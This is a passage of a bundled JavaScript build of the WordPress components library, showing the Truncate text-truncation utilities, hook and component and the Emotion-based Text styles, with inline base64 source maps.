24013 styles: "display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;label:Truncate;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFLMkIiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG5leHBvcnQgY29uc3QgVHJ1bmNhdGUgPSBjc3NgXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRvdmVyZmxvdzogaGlkZGVuO1xuXHR0ZXh0LW92ZXJmbG93OiBlbGxpcHNpcztcblx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcbmA7XG4iXX0= */",
24014 toString: _EMOTION_STRINGIFIED_CSS_ERROR__3
24015 };
24016
24017 // packages/components/build-module/truncate/utils.mjs
24018 var TRUNCATE_ELLIPSIS = "\u2026";
24019 var TRUNCATE_TYPE = {
24020 auto: "auto",
24021 head: "head",
24022 middle: "middle",
24023 tail: "tail",
24024 none: "none"
24025 };
24026 var TRUNCATE_DEFAULT_PROPS = {
24027 ellipsis: TRUNCATE_ELLIPSIS,
24028 ellipsizeMode: TRUNCATE_TYPE.auto,
24029 limit: 0,
24030 numberOfLines: 0
24031 };
24032 function truncateMiddle(word, headLength, tailLength, ellipsis) {
24033 if (typeof word !== "string") {
24034 return "";
24035 }
24036 const wordLength = word.length;
24037 const frontLength = ~~headLength;
24038 const backLength = ~~tailLength;
24039 const truncateStr = isValueDefined(ellipsis) ? ellipsis : TRUNCATE_ELLIPSIS;
24040 if (frontLength === 0 && backLength === 0 || frontLength >= wordLength || backLength >= wordLength || frontLength + backLength >= wordLength) {
24041 return word;
24042 } else if (backLength === 0) {
24043 return word.slice(0, frontLength) + truncateStr;
24044 }
24045 return word.slice(0, frontLength) + truncateStr + word.slice(wordLength - backLength);
24046 }
24047 function truncateContent(words = "", props) {
24048 const mergedProps = {
24049 ...TRUNCATE_DEFAULT_PROPS,
24050 ...props
24051 };
24052 const {
24053 ellipsis,
24054 ellipsizeMode,
24055 limit
24056 } = mergedProps;
24057 if (ellipsizeMode === TRUNCATE_TYPE.none) {
24058 return words;
24059 }
24060 let truncateHead;
24061 let truncateTail;
24062 switch (ellipsizeMode) {
24063 case TRUNCATE_TYPE.head:
24064 truncateHead = 0;
24065 truncateTail = limit;
24066 break;
24067 case TRUNCATE_TYPE.middle:
24068 truncateHead = Math.floor(limit / 2);
24069 truncateTail = Math.floor(limit / 2);
24070 break;
24071 default:
24072 truncateHead = limit;
24073 truncateTail = 0;
24074 }
24075 const truncatedContent = ellipsizeMode !== TRUNCATE_TYPE.auto ? truncateMiddle(words, truncateHead, truncateTail, ellipsis) : words;
24076 return truncatedContent;
24077 }
24078
24079 // packages/components/build-module/truncate/hook.mjs
24080 function useTruncate(props) {
24081 const {
24082 className: className2,
24083 children,
24084 ellipsis = TRUNCATE_ELLIPSIS,
24085 ellipsizeMode = TRUNCATE_TYPE.auto,
24086 limit = 0,
24087 numberOfLines = 0,
24088 ...otherProps
24089 } = useContextSystem(props, "Truncate");
24090 const cx3 = useCx();
24091 let childrenAsText;
24092 if (typeof children === "string") {
24093 childrenAsText = children;
24094 } else if (typeof children === "number") {
24095 childrenAsText = children.toString();
24096 }
24097 const truncatedContent = childrenAsText ? truncateContent(childrenAsText, {
24098 ellipsis,
24099 ellipsizeMode,
24100 limit,
24101 numberOfLines
24102 }) : children;
24103 const shouldTruncate = !!childrenAsText && ellipsizeMode === TRUNCATE_TYPE.auto;
24104 const classes = (0, import_element23.useMemo)(() => {
24105 const truncateLines = /* @__PURE__ */ css(numberOfLines === 1 ? "word-break: break-all;" : "", " -webkit-box-orient:vertical;-webkit-line-clamp:", numberOfLines, ";display:-webkit-box;overflow:hidden;" + (false ? "" : ";label:truncateLines;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBMEQyQiIsImZpbGUiOiJob29rLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIFdvcmRQcmVzcyBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgdXNlTWVtbyB9IGZyb20gJ0B3b3JkcHJlc3MvZWxlbWVudCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZUNvbnRleHRTeXN0ZW0gfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCAqIGFzIHN0eWxlcyBmcm9tICcuL3N0eWxlcyc7XG5pbXBvcnQgeyBUUlVOQ0FURV9FTExJUFNJUywgVFJVTkNBVEVfVFlQRSwgdHJ1bmNhdGVDb250ZW50IH0gZnJvbSAnLi91dGlscyc7XG5pbXBvcnQgeyB1c2VDeCB9IGZyb20gJy4uL3V0aWxzL2hvb2tzL3VzZS1jeCc7XG5pbXBvcnQgdHlwZSB7IFRydW5jYXRlUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuZXhwb3J0IGRlZmF1bHQgZnVuY3Rpb24gdXNlVHJ1bmNhdGUoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczwgVHJ1bmNhdGVQcm9wcywgJ3NwYW4nID5cbikge1xuXHRjb25zdCB7XG5cdFx0Y2xhc3NOYW1lLFxuXHRcdGNoaWxkcmVuLFxuXHRcdGVsbGlwc2lzID0gVFJVTkNBVEVfRUxMSVBTSVMsXG5cdFx0ZWxsaXBzaXplTW9kZSA9IFRSVU5DQVRFX1RZUEUuYXV0byxcblx0XHRsaW1pdCA9IDAsXG5cdFx0bnVtYmVyT2ZMaW5lcyA9IDAsXG5cdFx0Li4ub3RoZXJQcm9wc1xuXHR9ID0gdXNlQ29udGV4dFN5c3RlbSggcHJvcHMsICdUcnVuY2F0ZScgKTtcblxuXHRjb25zdCBjeCA9IHVzZUN4KCk7XG5cblx0bGV0IGNoaWxkcmVuQXNUZXh0O1xuXHRpZiAoIHR5cGVvZiBjaGlsZHJlbiA9PT0gJ3N0cmluZycgKSB7XG5cdFx0Y2hpbGRyZW5Bc1RleHQgPSBjaGlsZHJlbjtcblx0fSBlbHNlIGlmICggdHlwZW9mIGNoaWxkcmVuID09PSAnbnVtYmVyJyApIHtcblx0XHRjaGlsZHJlbkFzVGV4dCA9IGNoaWxkcmVuLnRvU3RyaW5nKCk7XG5cdH1cblxuXHRjb25zdCB0cnVuY2F0ZWRDb250ZW50ID0gY2hpbGRyZW5Bc1RleHRcblx0XHQ/IHRydW5jYXRlQ29udGVudCggY2hpbGRyZW5Bc1RleHQsIHtcblx0XHRcdFx0ZWxsaXBzaXMsXG5cdFx0XHRcdGVsbGlwc2l6ZU1vZGUsXG5cdFx0XHRcdGxpbWl0LFxuXHRcdFx0XHRudW1iZXJPZkxpbmVzLFxuXHRcdCAgfSApXG5cdFx0OiBjaGlsZHJlbjtcblxuXHRjb25zdCBzaG91bGRUcnVuY2F0ZSA9XG5cdFx0ISEgY2hpbGRyZW5Bc1RleHQgJiYgZWxsaXBzaXplTW9kZSA9PT0gVFJVTkNBVEVfVFlQRS5hdXRvO1xuXG5cdGNvbnN0IGNsYXNzZXMgPSB1c2VNZW1vKCAoKSA9PiB7XG5cdFx0Ly8gVGhlIGB3b3JkLWJyZWFrOiBicmVhay1hbGxgIHByb3BlcnR5IGZpcnN0IG1ha2VzIHN1cmUgYSB0ZXh0IGxpbmVcblx0XHQvLyBicmVha3MgZXZlbiB3aGVuIGl0IGNvbnRhaW5zICd1bmJyZWFrYWJsZScgY29udGVudCBzdWNoIGFzIGxvbmcgVVJMcy5cblx0XHQvLyBTZWUgaHR0cHM6Ly9naXRodWIuY29tL1dvcmRQcmVzcy9ndXRlbmJlcmcvaXNzdWVzLzYwODYwLlxuXHRcdGNvbnN0IHRydW5jYXRlTGluZXMgPSBjc3NgXG5cdFx0XHQkeyBudW1iZXJPZkxpbmVzID09PSAxID8gJ3dvcmQtYnJlYWs6IGJyZWFrLWFsbDsnIDogJycgfVxuXHRcdFx0LXdlYmtpdC1ib3gtb3JpZW50OiB2ZXJ0aWNhbDtcblx0XHRcdC13ZWJraXQtbGluZS1jbGFtcDogJHsgbnVtYmVyT2ZMaW5lcyB9O1xuXHRcdFx0ZGlzcGxheTogLXdlYmtpdC1ib3g7XG5cdFx0XHRvdmVyZmxvdzogaGlkZGVuO1xuXHRcdGA7XG5cblx0XHRyZXR1cm4gY3goXG5cdFx0XHRzaG91bGRUcnVuY2F0ZSAmJiAhIG51bWJlck9mTGluZXMgJiYgc3R5bGVzLlRydW5jYXRlLFxuXHRcdFx0c2hvdWxkVHJ1bmNhdGUgJiYgISEgbnVtYmVyT2ZMaW5lcyAmJiB0cnVuY2F0ZUxpbmVzLFxuXHRcdFx0Y2xhc3NOYW1lXG5cdFx0KTtcblx0fSwgWyBjbGFzc05hbWUsIGN4LCBudW1iZXJPZkxpbmVzLCBzaG91bGRUcnVuY2F0ZSBdICk7XG5cblx0cmV0dXJuIHsgLi4ub3RoZXJQcm9wcywgY2xhc3NOYW1lOiBjbGFzc2VzLCBjaGlsZHJlbjogdHJ1bmNhdGVkQ29udGVudCB9O1xufVxuIl19 */");
24106 return cx3(shouldTruncate && !numberOfLines && Truncate, shouldTruncate && !!numberOfLines && truncateLines, className2);
24107 }, [className2, cx3, numberOfLines, shouldTruncate]);
24108 return {
24109 ...otherProps,
24110 className: classes,
24111 children: truncatedContent
24112 };
24113 }
24114
24115 // packages/components/build-module/truncate/component.mjs
24116 var import_jsx_runtime84 = __toESM(require_jsx_runtime(), 1);
24117 function UnconnectedTruncate(props, forwardedRef) {
24118 const truncateProps = useTruncate(props);
24119 return /* @__PURE__ */ (0, import_jsx_runtime84.jsx)(component_default, {
24120 as: "span",
24121 ...truncateProps,
24122 ref: forwardedRef
24123 });
24124 }
24125 var Truncate2 = contextConnect(UnconnectedTruncate, "Truncate");
24126 var component_default7 = Truncate2;
24127
24128 // packages/components/build-module/text/styles.mjs
24129 var styles_exports3 = {};
24130 __export(styles_exports3, {
24131 Text: () => Text,
24132 block: () => block2,
24133 destructive: () => destructive,
24134 highlighterText: () => highlighterText,
24135 muted: () => muted,
24136 positive: () => positive,
24137 upperCase: () => upperCase
24138 });
24139 function _EMOTION_STRINGIFIED_CSS_ERROR__4() {
24140 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
24141 }
24142 var Text = /* @__PURE__ */ css("color:", COLORS.theme.foreground, ";line-height:", config_values_default.fontLineHeightBase, ";margin:0;text-wrap:pretty;" + (false ? "" : ";label:Text;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFVdUIiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcblxuZXhwb3J0IGNvbnN0IFRleHQgPSBjc3NgXG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZCB9O1xuXHRsaW5lLWhlaWdodDogJHsgQ09ORklHLmZvbnRMaW5lSGVpZ2h0QmFzZSB9O1xuXHRtYXJnaW46IDA7XG5cdHRleHQtd3JhcDogcHJldHR5O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJsb2NrID0gY3NzYFxuXHRkaXNwbGF5OiBibG9jaztcbmA7XG5cbmV4cG9ydCBjb25zdCBwb3NpdGl2ZSA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5hbGVydC5ncmVlbiB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IGRlc3RydWN0aXZlID0gY3NzYFxuXHRjb2xvcjogJHsgQ09MT1JTLmFsZXJ0LnJlZCB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IG11dGVkID0gY3NzYFxuXHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDcwMCBdIH07XG5gO1xuXG5leHBvcnQgY29uc3QgaGlnaGxpZ2h0ZXJUZXh0ID0gY3NzYFxuXHRtYXJrIHtcblx0XHRiYWNrZ3JvdW5kOiAkeyBDT0xPUlMuYWxlcnQueWVsbG93IH07XG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdFx0Ym94LXNoYWRvdzpcblx0XHRcdDAgMCAwIDFweCByZ2JhKCAwLCAwLCAwLCAwLjA1ICkgaW5zZXQsXG5cdFx0XHQwIC0xcHggMCByZ2JhKCAwLCAwLCAwLCAwLjEgKSBpbnNldDtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IHVwcGVyQ2FzZSA9IGNzc2Bcblx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcbmA7XG4iXX0= */");
24143 var block2 = false ? {
24144 name: "4zleql",
24145 styles: "display:block"
24146 } : {
24147 name: "14aceuy-block",
24148 styles: "display:block;label:block;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFpQndCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCBUZXh0ID0gY3NzYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0bGluZS1oZWlnaHQ6ICR7IENPTkZJRy5mb250TGluZUhlaWdodEJhc2UgfTtcblx0bWFyZ2luOiAwO1xuXHR0ZXh0LXdyYXA6IHByZXR0eTtcbmA7XG5cbmV4cG9ydCBjb25zdCBibG9jayA9IGNzc2Bcblx0ZGlzcGxheTogYmxvY2s7XG5gO1xuXG5leHBvcnQgY29uc3QgcG9zaXRpdmUgPSBjc3NgXG5cdGNvbG9yOiAkeyBDT0xPUlMuYWxlcnQuZ3JlZW4gfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBkZXN0cnVjdGl2ZSA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5hbGVydC5yZWQgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBtdXRlZCA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IGhpZ2hsaWdodGVyVGV4dCA9IGNzc2Bcblx0bWFyayB7XG5cdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLmFsZXJ0LnllbGxvdyB9O1xuXHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRcdGJveC1zaGFkb3c6XG5cdFx0XHQwIDAgMCAxcHggcmdiYSggMCwgMCwgMCwgMC4wNSApIGluc2V0LFxuXHRcdFx0MCAtMXB4IDAgcmdiYSggMCwgMCwgMCwgMC4xICkgaW5zZXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCB1cHBlckNhc2UgPSBjc3NgXG5cdHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG5gO1xuIl19 */",
24149 toString: _EMOTION_STRINGIFIED_CSS_ERROR__4
24150 };
24151 var positive = /* @__PURE__ */ css("color:", COLORS.alert.green, ";" + (false ? "" : ";label:positive;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFxQjJCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCBUZXh0ID0gY3NzYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0bGluZS1oZWlnaHQ6ICR7IENPTkZJRy5mb250TGluZUhlaWdodEJhc2UgfTtcblx0bWFyZ2luOiAwO1xuXHR0ZXh0LXdyYXA6IHByZXR0eTtcbmA7XG5cbmV4cG9ydCBjb25zdCBibG9jayA9IGNzc2Bcblx0ZGlzcGxheTogYmxvY2s7XG5gO1xuXG5leHBvcnQgY29uc3QgcG9zaXRpdmUgPSBjc3NgXG5cdGNvbG9yOiAkeyBDT0xPUlMuYWxlcnQuZ3JlZW4gfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBkZXN0cnVjdGl2ZSA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5hbGVydC5yZWQgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBtdXRlZCA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IGhpZ2hsaWdodGVyVGV4dCA9IGNzc2Bcblx0bWFyayB7XG5cdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLmFsZXJ0LnllbGxvdyB9O1xuXHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRcdGJveC1zaGFkb3c6XG5cdFx0XHQwIDAgMCAxcHggcmdiYSggMCwgMCwgMCwgMC4wNSApIGluc2V0LFxuXHRcdFx0MCAtMXB4IDAgcmdiYSggMCwgMCwgMCwgMC4xICkgaW5zZXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCB1cHBlckNhc2UgPSBjc3NgXG5cdHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG5gO1xuIl19 */");
24152 var destructive = /* @__PURE__ */ css("color:", COLORS.alert.red, ";" + (false ? "" : ";label:destructive;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF5QjhCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCBUZXh0ID0gY3NzYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0bGluZS1oZWlnaHQ6ICR7IENPTkZJRy5mb250TGluZUhlaWdodEJhc2UgfTtcblx0bWFyZ2luOiAwO1xuXHR0ZXh0LXdyYXA6IHByZXR0eTtcbmA7XG5cbmV4cG9ydCBjb25zdCBibG9jayA9IGNzc2Bcblx0ZGlzcGxheTogYmxvY2s7XG5gO1xuXG5leHBvcnQgY29uc3QgcG9zaXRpdmUgPSBjc3NgXG5cdGNvbG9yOiAkeyBDT0xPUlMuYWxlcnQuZ3JlZW4gfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBkZXN0cnVjdGl2ZSA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5hbGVydC5yZWQgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBtdXRlZCA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IGhpZ2hsaWdodGVyVGV4dCA9IGNzc2Bcblx0bWFyayB7XG5cdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLmFsZXJ0LnllbGxvdyB9O1xuXHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRcdGJveC1zaGFkb3c6XG5cdFx0XHQwIDAgMCAxcHggcmdiYSggMCwgMCwgMCwgMC4wNSApIGluc2V0LFxuXHRcdFx0MCAtMXB4IDAgcmdiYSggMCwgMCwgMCwgMC4xICkgaW5zZXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCB1cHBlckNhc2UgPSBjc3NgXG5cdHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG5gO1xuIl19 */");
24153 var muted = /* @__PURE__ */ css("color:", COLORS.gray[700], ";" + (false ? "" : ";label:muted;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE2QndCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCBUZXh0ID0gY3NzYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0bGluZS1oZWlnaHQ6ICR7IENPTkZJRy5mb250TGluZUhlaWdodEJhc2UgfTtcblx0bWFyZ2luOiAwO1xuXHR0ZXh0LXdyYXA6IHByZXR0eTtcbmA7XG5cbmV4cG9ydCBjb25zdCBibG9jayA9IGNzc2Bcblx0ZGlzcGxheTogYmxvY2s7XG5gO1xuXG5leHBvcnQgY29uc3QgcG9zaXRpdmUgPSBjc3NgXG5cdGNvbG9yOiAkeyBDT0xPUlMuYWxlcnQuZ3JlZW4gfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBkZXN0cnVjdGl2ZSA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5hbGVydC5yZWQgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBtdXRlZCA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IGhpZ2hsaWdodGVyVGV4dCA9IGNzc2Bcblx0bWFyayB7XG5cdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLmFsZXJ0LnllbGxvdyB9O1xuXHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRcdGJveC1zaGFkb3c6XG5cdFx0XHQwIDAgMCAxcHggcmdiYSggMCwgMCwgMCwgMC4wNSApIGluc2V0LFxuXHRcdFx0MCAtMXB4IDAgcmdiYSggMCwgMCwgMCwgMC4xICkgaW5zZXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCB1cHBlckNhc2UgPSBjc3NgXG5cdHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG5gO1xuIl19 */");
24154 var highlighterText = /* @__PURE__ */ css("mark{background:", COLORS.alert.yellow, ";border-radius:", config_values_default.radiusSmall, ";box-shadow:0 0 0 1px rgba( 0, 0, 0, 0.05 ) inset,0 -1px 0 rgba( 0, 0, 0, 0.1 ) inset;}" + (false ? "" : ";label:highlighterText;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFpQ2tDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCBUZXh0ID0gY3NzYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0bGluZS1oZWlnaHQ6ICR7IENPTkZJRy5mb250TGluZUhlaWdodEJhc2UgfTtcblx0bWFyZ2luOiAwO1xuXHR0ZXh0LXdyYXA6IHByZXR0eTtcbmA7XG5cbmV4cG9ydCBjb25zdCBibG9jayA9IGNzc2Bcblx0ZGlzcGxheTogYmxvY2s7XG5gO1xuXG5leHBvcnQgY29uc3QgcG9zaXRpdmUgPSBjc3NgXG5cdGNvbG9yOiAkeyBDT0xPUlMuYWxlcnQuZ3JlZW4gfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBkZXN0cnVjdGl2ZSA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5hbGVydC5yZWQgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBtdXRlZCA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IGhpZ2hsaWdodGVyVGV4dCA9IGNzc2Bcblx0bWFyayB7XG5cdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLmFsZXJ0LnllbGxvdyB9O1xuXHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRcdGJveC1zaGFkb3c6XG5cdFx0XHQwIDAgMCAxcHggcmdiYSggMCwgMCwgMCwgMC4wNSApIGluc2V0LFxuXHRcdFx0MCAtMXB4IDAgcmdiYSggMCwgMCwgMCwgMC4xICkgaW5zZXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCB1cHBlckNhc2UgPSBjc3NgXG5cdHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG5gO1xuIl19 */");
24155 var upperCase = false ? {
24156 name: "50zrmy",
24157 styles: "text-transform:uppercase"
24158 } : {
24159 name: "1mrt3zt-upperCase",
24160 styles: "text-transform:uppercase;label:upperCase;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEyQzRCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCBUZXh0ID0gY3NzYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0bGluZS1oZWlnaHQ6ICR7IENPTkZJRy5mb250TGluZUhlaWdodEJhc2UgfTtcblx0bWFyZ2luOiAwO1xuXHR0ZXh0LXdyYXA6IHByZXR0eTtcbmA7XG5cbmV4cG9ydCBjb25zdCBibG9jayA9IGNzc2Bcblx0ZGlzcGxheTogYmxvY2s7XG5gO1xuXG5leHBvcnQgY29uc3QgcG9zaXRpdmUgPSBjc3NgXG5cdGNvbG9yOiAkeyBDT0xPUlMuYWxlcnQuZ3JlZW4gfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBkZXN0cnVjdGl2ZSA9IGNzc2Bcb